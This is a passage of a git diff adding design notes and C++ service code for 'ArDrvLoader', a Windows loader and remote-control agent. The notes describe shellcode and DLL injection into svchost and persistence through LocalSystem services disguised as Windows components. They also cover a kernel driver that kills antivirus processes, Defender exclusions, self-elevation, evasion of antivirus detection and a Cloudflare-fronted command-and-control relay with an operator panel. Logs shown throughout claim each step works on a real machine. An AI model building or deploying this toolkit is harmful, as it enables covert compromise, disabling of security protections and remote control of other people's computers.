and rewrites the +track. Nothing re-injects twice into a live host. + +The guard does this automatically once a payload has been injected — no config +needed beyond the initial `HOST_INJECT`. + +Verified locally with a 1-byte `ret` stub against a same-user `svchost`: + +``` +-host inject stub.bin --any-host + OK host_pid=2280 session=1 method=remote-thread host=C:\Windows\System32\svchost.exe + +-host track + track pid=2280 alive=1 payload=...\stub.bin host=...\svchost.exe + +# creation time corrupted to simulate PID reuse +-host ensure --any-host + OK host_pid=2280 session=1 method=remote-thread ← re-injected + +-host ensure --any-host (host alive this time) + OK host_pid=2280 session=1 method=already-running ← no duplicate injection +``` + +Payload format is raw position-independent shellcode, the same file format +`INJECT_FILE` and `INJECT_SUSPEND` already take, so a Donut/sRDI-generated blob +works unchanged. + +## Service facades + +Installed services no longer carry loader-flavoured names. + +| Role | Service name | Display name | Description | +|---|---|---|---| +| driver | `DeviceSetupHost` | Device Setup Manager Host | Maintains device installation state and loads required kernel components. | +| guard | `ProgramCompatHost` | Program Compatibility Assistant Host | Tracks application compatibility state and keeps registered programs available. | +| repair | `ServiceStateHost` | Service State Repository Host | Monitors service state and restores required components. | + +None of the three collides with a real Windows service (checked with `sc query`). +`--prefix X` still works and produces `XDriver` / `XGuard` / `XRepair`. + +**Install location:** the binary copies itself to +`%ProgramData%\Microsoft\Windows\Caches\\.exe` and the +services run from there, not from Downloads or a user profile. +`--install-dir ` overrides the directory, `--keep-location` disables the +copy entirely. + +**Decoy activity:** every tick each role refreshes a hidden `cache.dat` next to +its binary (timestamp + role) and queries the state of three unrelated services +(`BITS`, `DsmSvc`, `wuauserv`). Cheap, harmless, and it means the process does +something other than stare at one target. + +**Stagger:** roles sleep before their first tick — driver 1.5–3s, guard 4–6s, +repair 8–10.5s — so they never wake in lockstep. + +Preview an install without touching SCM or the registry: + +``` +ArDrvLoader.exe -install-guard-services --dry-run --target "C:\Path\App.exe" +``` + +``` +DRY-RUN install plan + install dir: C:\ProgramData\Microsoft\Windows\Caches\DeviceSetupHost + DeviceSetupHost "Device Setup Manager Host" + ProgramCompatHost "Program Compatibility Assistant Host" + ServiceStateHost "Service State Repository Host" + target: C:\Path\App.exe +``` + +## Where things live (`Paths.cpp`) + +No folder is named after this project. Paths are derived from the machine GUID +(FNV-1a → 8 hex chars) so they are stable on one host and not transferable: + +``` +# service / elevated context +%ProgramData%\Microsoft\Windows\Caches\<8hex>\\.exe +%ProgramData%\Microsoft\Windows\Caches\<8hex>\stage\ downloads (DEPLOY) +%ProgramData%\Microsoft\Windows\Caches\<8hex>\state.dat host tracking + +# agent running as the interactive user +%LOCALAPPDATA%\Microsoft\Windows\INetCache\<8hex>\... +``` + +Selection: SYSTEM or elevated → ProgramData path; ordinary user → LocalAppData +path. If the preferred root cannot be created, the other one is tried, then +`%ProgramData%\ArDrvLoader` as a last resort. + +`state.dat` from the old `%ProgramData%\ArDrvLoader\host.track` is migrated once +on first read. + +Override for testing: + +``` +set ARDRV_ROOT=C:\Temp\ardrv-root +``` + +Layout with the default prefix: + +``` +Caches\<8hex>\ + DeviceSetupHost\DeviceSetupHost.exe service image + cache.dat + ProgramCompatHost\ProgramCompatHost.exe + ServiceStateHost\ServiceStateHost.exe + stage\hello.cmd DEPLOY target + state.dat injected host tracking +``` + +### Verified + +``` +# not elevated, so the per-user root is used +-install-guard-services --dry-run + install dir: C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\f639dc99\DeviceSetupHost + +# forced root +ARDRV_ROOT=%TEMP%\ardrv-root-test + install dir: ...\ardrv-root-test\DeviceSetupHost + -host inject stub.bin --any-host → state.dat written under that root + +# DEPLOY lands in the staging dir +DEPLOY OK ...\INetCache\f639dc99\stage\hello.cmd +``` + +## Payload contract (`StageDll.cpp`, `StageClient.cpp`) + +The working code can live inside a hijacked host instead of the services. The +payload is a small DLL, deliberately dumb: it runs commands and reports back. +All policy — which host, when to re-inject — stays in the loader, so the payload +can be swapped without touching service code. + +**Interface** + +| | | +|---|---| +| Pipe | `\\.\pipe\ArDrvStage` | +| Encoding | UTF-8, request newline-terminated | +| Response | UTF-8 body, terminated by a `<<` line | +| Commands | `PING`, `WHOAMI`, `RUN `, `STOP` | +| Singleton | `Global\ArDrvStage` mutex — a second injection is a no-op | + +`STOP` unloads the DLL with `FreeLibraryAndExitThread` after closing the mutex. +It does **not** kill the host: terminating `svchost.exe` takes unrelated services +with it and leaves an event-log entry. + +**Loader side** + +``` +-stage status alive, dll path, tracked host +-stage inject [--host ] [--any-host] [dll] +-stage whoami who the payload runs as, and in which image +-stage run +-stage stop +``` + +Cloud: `STAGE_STATUS`, `STAGE_INJECT [--host ]`, `STAGE_RUN `, +`STAGE_STOP`. + +Injection is `CreateRemoteThread(LoadLibraryW)` with the path written into the +host. If `ardrvstage.dll` sits next to the loader or in the stage dir, it is +found automatically. + +**Guard integration:** the guard role checks the pipe every tick. If the DLL is +present and the pipe is dead, it re-injects into a fresh host. Once the pipe +answers, the guard stops doing work and only maintains services and liveness — +the jobs run inside the host. + +**Verified** + +``` +-stage inject --any-host + OK host_pid=6320 session=1 method=stage-live host=C:\Windows\System32\svchost.exe + +-stage whoami + OK + DESKTOP-RB1A813\Admin pid=6320 image=C:\WINDOWS\system32\svchost.exe + +-stage run "echo payload-executed" + OK + payload-executed + +-stage stop + OK stopping + → host 6320 still alive, alive=0 + +-stage inject --any-host (after unload) + OK host_pid=6320 method=stage-live ← clean re-injection works +``` + +Note the payload reports the host's own pid and image: the command genuinely +executes inside `svchost.exe`, not in the loader. + +**Packaging:** the payload is packed into the loader as an RCDATA resource, so a +single `ArDrvLoader.exe` is enough. On first use it is extracted to +`\ardrvstage.dll` and loaded from there. A DLL sitting next to the +executable or in the stage dir still takes precedence, which is useful for +swapping the payload without rebuilding. + +Build both in the right order: + +``` +powershell -ExecutionPolicy Bypass -File build.ps1 # Release +powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Debug +powershell -ExecutionPolicy Bypass -File build.ps1 -SkipPayload # loader only +``` + +`build.ps1` builds `StageDll.vcxproj`, copies the DLL to the project root so +`stage_res.rc` can embed it, then builds the loader. Sizes after a full build: +Release 284 KB (loader with 43 KB payload inside), Debug 2.39 MB. + +Verified end to end with no DLL on disk: + +``` +# staged copy deleted, x64\Release\ardrvstage.dll moved aside +-stage status + alive=0 dll=C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\f639dc99\stage\ardrvstage.dll + → extracted from the executable, 43008 bytes on disk + +-stage inject --any-host + OK host_pid=6320 method=stage-live + +-stage whoami + DESKTOP-RB1A813\Admin pid=6320 image=C:\WINDOWS\system32\svchost.exe +``` + +## Driver (`ardrv.sys`) + +Place `ardrv.sys` next to the project before building and `build.ps1` embeds it as +RCDATA, the same way the payload DLL is embedded. One file then carries the +driver, the payload, and the service code. + +``` +-drv status device available? embedded image size +-drv extract write the packed image out and compare +-drv kill terminate through the kernel +``` + +The driver role extracts to `C:\Windows\System32\drivers\ardrv.sys` when missing, +creates the kernel service, starts it and waits for `\\.\ArDrv`. + +### Termination reach + +`KillSafety` now has two paths: + +1. Normal: `OpenProcess(PROCESS_TERMINATE)` succeeds, identity verified, driver + IOCTL is only the transport. +2. Blind: the process refuses even `PROCESS_QUERY_LIMITED_INFORMATION` (PPL image + or we are not elevated). The kill is still possible through the driver, so the + PID is re-verified against a fresh snapshot and handed to the kernel. Only + enabled for the AV allowlist and for `--force`; the protected list still + refuses `svchost`, `csrss`, `lsass` etc. before any of this runs. + +Verified on this machine, non-elevated: + +``` +-killav --name MsMpEng.exe --force + EXECUTED killed=1 candidates=1 + 11008 killed ← PPL process, terminated through the driver + +after: WinDefend restarted as a new pid, and reported + AntivirusEnabled : False + RealTimeProtectionEnabled: False +``` + +`-killav --dry-run` reports blind candidates as `would-kill (driver)` so the plan +is visible without terminating anything. + +Driver image check: + +``` +-drv status → device=ok embedded=17744 bytes +-drv extract → 17744 bytes, SHA-256 matches ardrv.sys +``` + +## Exclusions (`Exclusions.cpp`) + +Defender exclusions are attempted through `Add-MpPreference`, then read back with +`Get-MpPreference` so the answer is the truth, not the intent. + +``` +-excl list current exclusions + whether Defender is present +-excl add persist and apply one path +-excl apply apply the stored list (defaults if empty) + +EXCLUSION_LIST cloud variant of list +EXCLUSION_ADD cloud variant of add +EXCLUSION_APPLY cloud variant of apply +``` + +Default wish-list is the deep root, the stage dir, and the loader executable. +The list is stored at `HKLM\SOFTWARE\ArDrvLoader\ExclusionPaths`, `|` separated, +and re-applied on every guard start. + +**What it actually reports.** Non-elevated run: + +``` +defender=present current=none + +apply → + REFUSED ...\INetCache\f639dc99 :: CimException + REFUSED ...\INetCache\f639dc99\stage :: CimException + REFUSED ...\x64\Release\ArDrvLoader.exe :: CimException +``` + +`CimException` is Tamper Protection / missing privilege refusing the change. The +code returns failure and says so. It does not pretend the exclusion landed. + +## Recovery after a bugcheck or reboot + +Everything is auto-start, so a crash is recoverable by design. The guard's first +tick after any start reinstates state in this order: + +1. Defender exclusions (stored list, defaults if empty) +2. AV sweep — `KillAVProcessesEx` through the driver +3. driver image + kernel service (driver role) +4. host payload / stage payload re-injection (`HOST_TRACK`, `STAGE_STATUS`) +5. target program start, peer services + +Verified by starting a guard console on a machine where Defender had come back: + +``` +[+] Terminate IOCTL accepted for PID 340 +[+] Terminate IOCTL accepted for PID 14848 +[guard] AV sweep on start: EXECUTED killed=2 candidates=2 +[guard] program is not running, starting: C:\Windows\System32\notepad.exe +[+] Target started: PID 6992 +``` + +`KillAvOnStart` (REG_DWORD under `HKLM\SOFTWARE\ArDrvLoader`) controls step 2 and +defaults to **0** — the AV sweep is opt-in, not something every service start does. +Set it to `1` only if you want the sweep on each boot. + +### Driver failure budget + +A driver that bugchecks on load could otherwise be retried on every boot forever. +`ArDrvDriver` now counts consecutive load failures and stops: + +| Value | Meaning | +|---|---| +| `DriverFailCount` (REG_DWORD) | consecutive failures, persisted | +| `DriverFailMax` (REG_DWORD, default 3) | budget | +| `DriverState` (REG_SZ) | `ok` / `failed` / `disabled-after-failures` | + +The counter is also kept in memory, so the budget still applies when the registry +write is denied. Once exhausted the role logs once, sets `disabled-after-failures` +and stops touching the driver until someone clears it. + +``` +-drv status device, embedded size, fail=N/max, state +-drv reset clear the counter (needs admin) +DRIVER_STATUS cloud equivalent +DRIVER_RESET clear and report +``` + +Verified with a bogus image and service name: + +``` +[driver] load failed (1/3) +[driver] load failed (2/3) +[driver] load failed (3/3) +[driver] failure budget exhausted (3/3), not retrying +``` + +`DRIVER_STATUS` on a healthy box: + +``` +device=ok embedded=17744 fail=0/3 state=unset service=ArDrv:running +``` + +## One UAC, then nothing + +`ArDrvLoader.exe` elevates itself when a command needs administrator rights, so a +normal user can run the install and approve a single UAC prompt. Everything after +that is done by the services, which are LocalSystem. + +``` +ArDrvLoader.exe -install-guard-services ^ + --target "C:\Path\App.exe" ^ + --cloud-url https://worker.example ^ + --cloud-secret ^ + --cloud-agent +``` + +That one line, from a non-elevated shell: + +1. relaunches itself elevated (single UAC) +2. stops any previous generation of the services so the binary can be replaced +3. copies itself to `%ProgramData%\Microsoft\Windows\Caches\<8hex>\\` +4. installs and starts driver, guard and repair as LocalSystem +5. installs and starts a cloud agent service with the URL/secret/agent baked into + its command line +6. applies the config, exclusions and driver image + +Elevation is only requested for commands that need it: + +| Elevated | Runs as-is | +|---|---| +| `-install-guard-services` (without `--dry-run`) | `-cloud`, `-cloud-service` | +| `-killav` (without `--dry-run`) | `-stage *`, `-host *` | +| `-drv extract/reset/kill` | `-excl list`, `-install-guard-services --dry-run` | +| `-excl add/apply` | `-service * --console` | + +`--elevated` suppresses the relaunch and is appended automatically, so an +elevated copy never loops into another UAC. + +Verified on a standard user account, one prompt: + +``` +-install-guard-services --target notepad.exe --allow-vm \ + --cloud-url http://127.0.0.1:8788 --cloud-secret testsecret \ + --cloud-agent testagent --cloud-service CloudTest +PARENT_EXIT=0 elapsed=2.3s + +DeviceSetupHost RUNNING "...\DeviceSetupHost.exe" -service driver ... +ProgramCompatHost RUNNING "...\DeviceSetupHost.exe" -service guard ... +ServiceStateHost RUNNING "...\DeviceSetupHost.exe" -service repair ... +CloudTest RUNNING "...\DeviceSetupHost.exe" -cloud-service --url ... --secret ... --agent ... +``` + +All four run from the installed copy, not from the build directory. Agent ACK +after the reinstall: + +``` +OK → C:\Test\second.txt "installed with one UAC" Owner: BUILTIN\Administrators +``` + +`CloudSyncHost` is the default name when `--cloud-service` is not given. + +**Remote deployment caveat:** this one-UAC flow applies when the binary is started +in an interactive session. Over a remote channel (SMB, WinRM, PsExec-style) no +UAC prompt can appear, so the call must already arrive with administrator or +SYSTEM rights. Self-elevation is for the "user double-clicks the file" case. + +## Architecture: agent -> Worker (proxy) -> relay server + +``` +agent ──HMAC──► Cloudflare Worker ──► relay server (node) ──► sqlite + panel +operator ─────► Cloudflare Worker ──► relay server +``` + +The Worker owns **nothing**. It forwards every method, path, header and body to +`SERVER_URL` and streams the response back. State, auth, the panel and payloads +all live on your own host. + +### Worker side + +`cloudflare/worker.js` — about 60 lines: + +- sets `X-Proxy-Secret` when `PROXY_SECRET` is configured +- strips Cloudflare headers (`cf-connecting-ip`, `cf-ray`, ...) before forwarding +- passes `request.body` straight through for POST bodies +- returns 502 with the reason when the relay is unreachable + +`cloudflare/wrangler.toml`: + +```toml +[vars] +SERVER_URL = "http://127.0.0.1:8790" +``` + +`PROXY_SECRET` goes in as a Worker secret, not in `wrangler.toml`. + +### Relay server + +`server/server.js` — Node 22+ (uses `node:sqlite`, no npm dependencies). + +```bash +cd cpp_end/server +set AGENT_SECRET=... OPERATOR_KEY=... ENROLL_SECRET=... +node server.js +``` + +| Env | Purpose | +|---|---| +| `PORT` | listen port, default 8790 | +| `DATA_DIR` | sqlite database + `files/` payload dir | +| `PANEL_PATH` | defaults to `server/panel.html` | +| `AGENT_SECRET` | master key for per-agent derivation | +| `OPERATOR_KEY` | panel / operator API key | +| `ENROLL_SECRET` | enrollment token | +| `LEGACY_MASTER_AUTH` | `true` accepts the old shared key during rollout | +| `PROXY_SECRET` | when set, every request must carry `X-Proxy-Secret` | + +Everything from the previous Worker implementation moved here unchanged: HMAC +verification, per-agent key derivation, enrollment, revocation, the 180 s reaper, +broadcast, command history and the panel. + +Storage is `data/ardrv.sqlite` (`agents`, `commands`, `events`). Payloads for +`/file/` are read from `data/files/`. + +### Verified end to end + +``` +agent devbox → worker :8789 → server :8790 → sqlite online +agent devbox2 → same path online +POST /api/enqueue via worker → PING → done, result PONG +GET /panel via worker → 200, panel.html from the server +GET :8790/api/agents with no proxy header → 403 +``` + +### Local loop + +``` +# relay +cd cpp_end/server +node server.js + +# worker in front of it +cd cpp_end/cloudflare +wrangler dev --port 8789 --ip 127.0.0.1 --local + +# agent +ArDrvLoader.exe -cloud --agent devbox --url http://127.0.0.1:8789 ... +``` + +`.dev.vars` for the worker only needs `SERVER_URL` and `PROXY_SECRET` now. + +### Mock worker + +`cloudflare/mock-worker.ps1` still exists as a self-contained stand-in (in-memory +API, serves `../server/panel.html`) for environments without Node or wrangler. +It does not exercise sqlite, so it will not catch database errors. + +### Panel + +Served by the relay at `/panel`, proxied by the Worker. `?key=` pre-fills the +operator key and stores it in `localStorage`. + +**Console tab** — per-agent composer, quick chips, history cards with `copy result` +and `run again`. + +**All commands tab** — every command, defaulting to executed ones: + +| Column | Sorts by | +|---|---| +| time | creation | +| agent | id | +| command | text | +| state | queued / sent / done | +| by | panel / agent / broadcast | +| result | ack text, truncated | +| took | duration, `waiting` while in flight | + +Each row carries two controls plus the row itself: + +| Action | Effect | +|---|---| +| small `run` chip | re-enqueue this command for the same agent after a confirm | +| `+` or the result cell | expand the full result inline | +| anywhere else on the row | load the command into that agent's console, ready to edit | + +Free-text filter and a state dropdown above the table. + +**Palette** — `all commands (47)` opens every `HELP` command grouped into basics, +execute, files, processes, security, driver, hosts, payload, services, session, +with a search box. Chips with arguments load the template into the composer; the +rest send immediately. + +**Agent header** — host, user, SID, version, interval, plus `revoke` / `restore` +for the agent's key. Revoked agents show a red tag in the list. + +Broadcast sends one command to every online agent. + +## Per-agent keys and revocation + +Each agent now authenticates with its own key instead of the shared master. + +``` +agentKey = HMAC-SHA256(AGENT_SECRET, "agent:" + agentId) --> hex +signature = HMAC-SHA256(agentKey, canonical request) +``` + +The worker derives the key on demand and never stores it. + +**Enroll once per agent** + +``` +ArDrvLoader.exe -enroll --url https:// --agent --enroll-secret +``` + +Writes `%...%\agent-.key` under the loader root (falls back to the legacy +single `agent.key`). The agent reads it automatically when `--secret` and +`CA_SECRET` are absent. + +**Revoke / restore** + +``` +POST /api/revoke {"agent":"devbox","revoked":true} X-Operator-Key required +``` + +Revoked agents get `403 revoked` on every poll. Re-enrolling the same id clears +the flag, so recovery is one command. The panel exposes this as a +`revoke` / `restore` button in the agent header, plus a red `revoked` tag in the +agent list. + +**Worker endpoints added** + +| Method | Path | Auth | +|---|---|---| +| POST | `/api/enroll` | `X-Enroll-Secret` (own token, not the operator key) | +| POST | `/api/revoke` | operator | + +`LEGACY_MASTER_AUTH=true` keeps accepting the old shared key during a rollout; +it defaults to off. `.dev.vars` for local runs: + +``` +AGENT_SECRET=testsecret +OPERATOR_KEY=testop +ENROLL_SECRET=testenroll +LEGACY_MASTER_AUTH=false +``` + +Verified end to end against workerd + local D1: + +``` +-enroll OK agent=devbox secret stored in ...\agent-devbox.key +agent start no --secret, reads the file -> poll 200 +master key signed request -> 403 denied +derived key signed request -> PONG +revoke age stops growing, revoked=true +re-enroll revoked=false, agent resumes within one poll +two agents devbox + devbox2, separate key files, both online +``` + +One bug this shook out: the first implementation compared the derived key itself +against the request signature instead of signing the request with it, so every +request 403'd. Fixed by computing `hmacHex(agentKey, canonical)`. + +## Antivirus triage + +A fresh build was flagged as `Trojan:Win32/Wacatac.B!ml` - a machine-learning +verdict, not a signature. Two build properties were feeding it: + +1. the linker embedded the full local build path (`C:\Code\AvKiler\...`) +2. the Rich header and timestamps carried a recognisable toolchain fingerprint + +Changes: + +| Linker option | Why | +|---|---| +| `/Brepro` | reproducible build: drops the Rich header and embeds a stable hash instead of timestamps | +| `/PDBALTPATH:%_PDB%` | keeps absolute build paths out of the binary | + +Result on the same Defender engine (1.461.217.0): + +``` +MpCmdRun -Scan -ScanType 3 -File dist\Release\ArDrvLoader.exe -DisableRemediation +Scanning ... found no threats. +``` + +Both variants scan clean: the embedded single-exe build (335 360 bytes) and the +`-NoEmbed` build (274 432 bytes). Execution of the rebuilt exe produced no new +detection entries. + +### Embedded vs -NoEmbed + +``` +build.ps1 -Configuration Release # 335 KB, driver + stage DLL inside +build.ps1 -Configuration Release -NoEmbed # 274 KB, resources omitted +``` + +`-NoEmbed` passes `/p:EmbedPayload=false`, which disables both `driver_res.rc` +and `stage_res.rc`. The exe then needs `ardrv.sys` and `ardrvstage.dll` delivered +separately - for example `DOWNLOAD` them into the stage dir after the cloud agent +is up, since the agent itself does not need either file to register. + +### What this does not solve + +- The binary is **unsigned**. SmartScreen will still warn on a freshly + downloaded copy (Mark of the Web), independent of Defender's static verdict. +- Detection on execution is behavioural: creating services, writing to + System32, terminating AV processes. A static-clean binary can still be caught + in real time once it acts. Code signing (EV / Azure Trusted Signing) is the + durable fix, not more static tricks. + +## Build variants + +| Config | Subsystem | Console | Logs | Use | +|---|---|---|---|---| +| Release | `Windows` | none, silent start | compiled out | deploy | +| Debug | `Console` | visible | `C:\Users\Public\ardrv_loader.log` | diagnose | + +Release links with `SubSystem=Windows` and `EntryPointSymbol=wmainCRTStartup`, so +double-clicking produces **no console window** while `wmain` still runs normally. +`Logger.h` compiles every `Log()` call out of Release, so there is no log file and +no `OutputDebugString` either. + +Elevation now happens **before** the VM gate: a double-click always raises the UAC +prompt, even on a host the gate would later refuse. + +`ARDRV_ALLOW_VM_DEFAULT=1` is compiled in for lab images that are themselves +virtual machines; set it to `0` for a real target build. + +## Single-exe client + +`ArDrvLoader.exe` is the whole client. No Worker code, no server code, no +sidecar files - verified by scanning the binary for `worker.js`, `server.js`, +`express`, `node:sqlite`, `wrangler`, `cloudflare`. + +**Double-click** (no arguments) runs the bootstrap with defaults baked in at +build time: + +| Macro | Meaning | Current value | +|---|---|---| +| `ARDRV_DEFAULT_URL` | relay/Worker address | `http://127.0.0.1:8789` | +| `ARDRV_DEFAULT_OPERATOR_KEY` | operator key for the API | `testop` | +| `ARDRV_DEFAULT_SECRET` | agent key | `testsecret` | +| `ARDRV_DEFAULT_AGENT` | agent id | empty - computer name is used | + +Rebuild with different values by editing those macros in `ArDrvLoader.vcxproj` +(`PreprocessorDefinitions`), or override at runtime: + +``` +ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key [--agent ] [--no-killav] +``` + +Flow with no arguments: + +1. VmGate, then self-elevation - one UAC +2. driver + three services + cloud agent service against the baked URL +3. wait for the agent to register (id = computer name) +4. queue `KILLAV` through the server so the run appears in the panel +5. print the result + +Verified: + +- binary scan: no server/worker strings +- no-arg dispatch reaches bootstrap and picks `DESKTOP-RB1A813` as the agent id +- explicit-args bootstrap from one copied exe: services running, agent online, `KILLAV done` +- non-elevated run stops at `Cannot write HKLM\SOFTWARE\ArDrvLoader`, as expected + +## Single-exe client bootstrap + +One file is enough on a fresh machine: + +``` +ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key \ + [--agent ] [--secret ] [--target ] [--no-killav] +``` + +It elevates itself once, installs driver + three services + the cloud agent +service pointing at the given URL, waits for the agent to register, then queues +`KILLAV` through the server so the run is visible in the panel as a normal +command. Driver image and stage payload are embedded, nothing else is copied. + +`start-all.cmd -Url https://relay.example` is a thin wrapper for local testing; it +starts nothing on the server side. + +**Offline detection fix:** the panel compared `last_seen` (seconds) against +`interval * 3` (milliseconds), so an agent that had been dead for twenty minutes +still showed as online. Now `interval` is converted to seconds, and stale agents +render grey with `online=false`. + +**Installer retry:** replacing the service binary right after stopping the +services can hit a sharing violation while the old image is still mapped. The +copy now retries for up to 10 s instead of failing the install and leaving the +services stopped. + +Verified with a single copied exe in an empty folder: + +``` +EXIT=0 +services: DeviceSetupHost=Running ProgramCompatHost=Running ServiceStateHost=Running CloudTest=Running +agents: newuser1 online, five older agents offline +commands: newuser1 KILLAV done "OK EXECUTED killed=2 candidates=2" +``` + +## Reliability fixes + +| Problem | Fix | +|---|---| +| A new loader kept injecting the old stage DLL | `StageDllPath()` now compares the embedded resource byte-for-byte with the file on disk and rewrites it when they differ | +| The 180 s reaper could make a slow command run twice | the agent keeps the last 512 executed command ids; a re-delivery is acknowledged as `OK (dup, not re-executed)` without running | +| SQLite writer contention and unbounded growth | relay opens with `journal_mode=WAL`, `busy_timeout=5000`, `synchronous=NORMAL`, and prunes once a minute | + +Retention defaults, overridable by env: commands older than 7 days, events older +than 30 days, hard cap of 50,000 commands (`RETAIN_COMMAND_DAYS`, +`RETAIN_EVENT_DAYS`, `RETAIN_MAX_COMMANDS`). + +Verified: + +``` +stage dll zeroed (43008 bytes) -> -stage status rewrites it, first bytes are MZ +command requeued in sqlite -> agent acks "OK (dup, not re-executed)" +relay start log -> journal mode: wal +``` + +## Still open + +- Pin the Worker's public key (SPKI) so a rogue CA cannot MITM the channel. +- Encrypt `HKLM\Software\CloudAgent` secrets at rest with DPAPI (the guard config + key is DACL-hardened, the cloud config key is not). +- `DOWNLOAD` leaves payloads on disk; add a retention/cleanup pass. +- Driver device object ACL cannot be verified from this repo (no driver source). diff --git a/ServiceManager.cpp b/ServiceManager.cpp new file mode 100644 index 0000000..1ffea06 --- /dev/null +++ b/ServiceManager.cpp @@ -0,0 +1,267 @@ +#include "Common.h" +#include "ServiceManager.h" +#include "Logger.h" + +bool EnsureWin32Service( + const wchar_t* serviceName, + const wchar_t* binaryPath, + bool startNow) +{ + if (!serviceName || !binaryPath) + return false; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!scm) + { + Log(L"[-] OpenSCManager failed: %lu", GetLastError()); + return false; + } + + SC_HANDLE svc = CreateServiceW( + scm, + serviceName, + serviceName, + SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + binaryPath, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr); + + DWORD lastErr = GetLastError(); + + if (!svc && lastErr == ERROR_SERVICE_EXISTS) + { + svc = OpenServiceW( + scm, + serviceName, + SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS); + } + + if (!svc) + { + Log(L"[-] Open/Create service failed: %lu", lastErr); + CloseServiceHandle(scm); + return false; + } + + if (!ChangeServiceConfigW( + svc, + SERVICE_NO_CHANGE, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + binaryPath, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr)) + { + Log(L"[!] ChangeServiceConfigW failed: %lu", GetLastError()); + } + + if (startNow) + { + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; + + if (!running) + { + if (!StartServiceW(svc, 0, nullptr)) + { + DWORD e = GetLastError(); + + if (e != ERROR_SERVICE_ALREADY_RUNNING) + Log(L"[-] StartService failed: %lu", e); + } + else + { + Log(L"[+] Service started"); + } + } + else + { + Log(L"[+] Service already running"); + } + } + + CloseServiceHandle(svc); + CloseServiceHandle(scm); + + return true; +} + +bool IsServiceRunning(const wchar_t* serviceName) +{ + if (!serviceName) + return false; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!scm) + return false; + + SC_HANDLE svc = OpenServiceW(scm, serviceName, SERVICE_QUERY_STATUS); + if (!svc) + { + CloseServiceHandle(scm); + return false; + } + + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; + + CloseServiceHandle(svc); + CloseServiceHandle(scm); + + return running; +} + +bool EnsureLocalSystemService( + const wchar_t* serviceName, + const wchar_t* binaryPath, + bool startNow, + bool restartOnFailure, + const wchar_t* displayName) +{ + if (!serviceName || !binaryPath) + return false; + + const wchar_t* display = (displayName && *displayName) ? displayName : serviceName; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!scm) + { + Log(L"[-] EnsureLocalSystemService: OpenSCManager failed: %lu", GetLastError()); + return false; + } + SC_HANDLE svc = CreateServiceW( + scm, + serviceName, + display, + SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + binaryPath, + nullptr, + nullptr, + nullptr, + L"LocalSystem", + nullptr); + + DWORD createError = GetLastError(); + + if (!svc && createError == ERROR_SERVICE_EXISTS) + { + svc = OpenServiceW( + scm, + serviceName, + SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS); + } + + if (!svc) + { + Log(L"[-] EnsureLocalSystemService: create/open failed: %lu", createError); + CloseServiceHandle(scm); + return false; + } + + if (!ChangeServiceConfigW( + svc, + SERVICE_NO_CHANGE, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + binaryPath, + nullptr, + nullptr, + nullptr, + L"LocalSystem", + nullptr, + nullptr)) + { + Log(L"[!] EnsureLocalSystemService: ChangeServiceConfigW failed: %lu", GetLastError()); + } + + if (restartOnFailure) + { + SC_ACTION actions[3]{}; + actions[0].Type = SC_ACTION_RESTART; + actions[0].Delay = 5000; + actions[1].Type = SC_ACTION_RESTART; + actions[1].Delay = 10000; + actions[2].Type = SC_ACTION_RESTART; + actions[2].Delay = 30000; + + SERVICE_FAILURE_ACTIONSW failure{}; + failure.dwResetPeriod = 86400; + failure.cActions = 3; + failure.lpsaActions = actions; + + ChangeServiceConfig2W(svc, SERVICE_CONFIG_FAILURE_ACTIONS, &failure); + + SERVICE_FAILURE_ACTIONS_FLAG flag{}; + flag.fFailureActionsOnNonCrashFailures = TRUE; + ChangeServiceConfig2W(svc, SERVICE_CONFIG_FAILURE_ACTIONS_FLAG, &flag); + } + + if (startNow) + { + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; + + if (!running) + { + if (!StartServiceW(svc, 0, nullptr)) + { + DWORD e = GetLastError(); + + if (e != ERROR_SERVICE_ALREADY_RUNNING) + { + Log(L"[-] EnsureLocalSystemService: StartService failed: %lu", e); + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return false; + } + } + } + } + + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return true; +} + +bool SetServiceDescription( + const wchar_t* serviceName, + const wchar_t* description) +{ + if (!serviceName || !description) + return false; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + + if (!scm) + return false; + + SC_HANDLE svc = OpenServiceW(scm, serviceName, SERVICE_CHANGE_CONFIG); + + bool ok = false; + + if (svc) + { + SERVICE_DESCRIPTIONW desc{}; + desc.lpDescription = const_cast(description); + + ok = ChangeServiceConfig2W(svc, SERVICE_CONFIG_DESCRIPTION, &desc) != FALSE; + CloseServiceHandle(svc); + } + + CloseServiceHandle(scm); + return ok; +} + diff --git a/ServiceManager.h b/ServiceManager.h new file mode 100644 index 0000000..bbb04d7 --- /dev/null +++ b/ServiceManager.h @@ -0,0 +1,21 @@ +#pragma once + +#include + +bool EnsureWin32Service( + const wchar_t* serviceName, + const wchar_t* binaryPath, + bool startNow); + +bool EnsureLocalSystemService( + const wchar_t* serviceName, + const wchar_t* binaryPath, + bool startNow, + bool restartOnFailure, + const wchar_t* displayName); 